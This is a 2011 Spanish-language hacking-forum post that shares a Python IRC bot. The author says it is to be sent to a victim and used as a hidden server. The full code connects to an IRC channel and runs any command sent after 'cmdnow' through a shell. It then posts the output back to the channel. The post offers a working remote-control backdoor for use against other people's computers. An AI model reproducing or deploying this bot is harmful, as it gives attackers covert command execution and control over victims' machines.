elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Python] IRC Bot
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] IRC Bot  (Leído 1,701 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Python] IRC Bot
« en: 7 Octubre 2011, 01:37 am »

Hola a todos.

Aca les traigo un IRC Bot en Python para poder usar como servidor oculto y mandarselo
a una victima para poder controlarla desde un comando canal IRC

El comando clave para mandar comandos que despues se muestra el
resultado de comando en el chat es

Código:
cmdnow TUCOMANDO

Código
  1. #!usr/bin/python
  2. #Insane Bot (C) Doddy Hackman 2011
  3. #Version beta 0.00001
  4.  
  5. import re,socket
  6. import subprocess
  7.  
  8. host = "127.0.0.1"
  9. canal = "#locos"
  10. nick = "bot"
  11.  
  12. irc = socket.socket()
  13. try:
  14. irc.connect((host,6667))
  15. irc.send("NICK "+nick+"\r\n")
  16. irc.send("USER "+nick+" 1 1 1 1\r\n")
  17. irc.send("JOIN "+canal+"\r\n")
  18. print "[+] Insane Bot Online\n"
  19. while 1:
  20.  code = irc.recv(9999)
  21.  if re.findall("PING",code):
  22.   irc.send("PONG "+code.split()[1]+"\r\n")
  23.  if re.findall("PRIVMSG",code):
  24.   nick = code.split("!")
  25.   nick = nick[0].replace(":","")
  26.   msg = code.split(":")[2:][0]
  27.   if re.findall("cmdnow",code):
  28.    cmd = code.split("cmdnow")[1]
  29.    irc.send("PRIVMSG "+canal+" : [+] Loading command : "+cmd+"\n")
  30.    rea = subprocess.Popen(cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
  31.    if rea:
  32.     re1 = rea.stdout.read()
  33.     total = re1.replace("\n","|")
  34.     irc.send("PRIVMSG "+canal+" : "+total+"\n")
  35.    else:
  36.     re2 = rea.stderr.read()
  37.     total = re2.replace("\n","|")
  38.     irc.send("PRIVMSG "+canal+" : "+total+"\n")
  39.  
  40.  
  41. except:
  42. print "\n\n[-] Error\n\n"
  43.  
  44.  
  45. # The End
  46.  


« Última modificación: 8 Octubre 2011, 19:06 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Curso de Python con Interfaces graficas TK « 1 2 »
Scripting
Erik# 18 38,644 Último mensaje 12 Septiembre 2010, 02:27 am
por Dreykon
(Python)Existen ventanas de entrada y salida de datos en python « 1 2 »
Scripting
tonilogar 11 15,614 Último mensaje 29 Noviembre 2009, 00:49 am
por tonilogar
[Python] Abrir una página web con comandos de Python. « 1 2 3 4 »
Scripting
CaronteGold 31 39,706 Último mensaje 29 Mayo 2015, 15:02 pm
por antkk
[python]VideoTraining Aprende A Programar En Python desde 0 « 1 2 3 »
Scripting
juh 22 17,500 Último mensaje 16 Octubre 2010, 13:12 pm
por Pere Navarro
[Python] Importar Funciones de C++ a Modulo de Python
Scripting
Di6it4Lj4ck4L 2 4,093 Último mensaje 2 Mayo 2011, 19:08 pm
por Di6it4Lj4ck4L
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines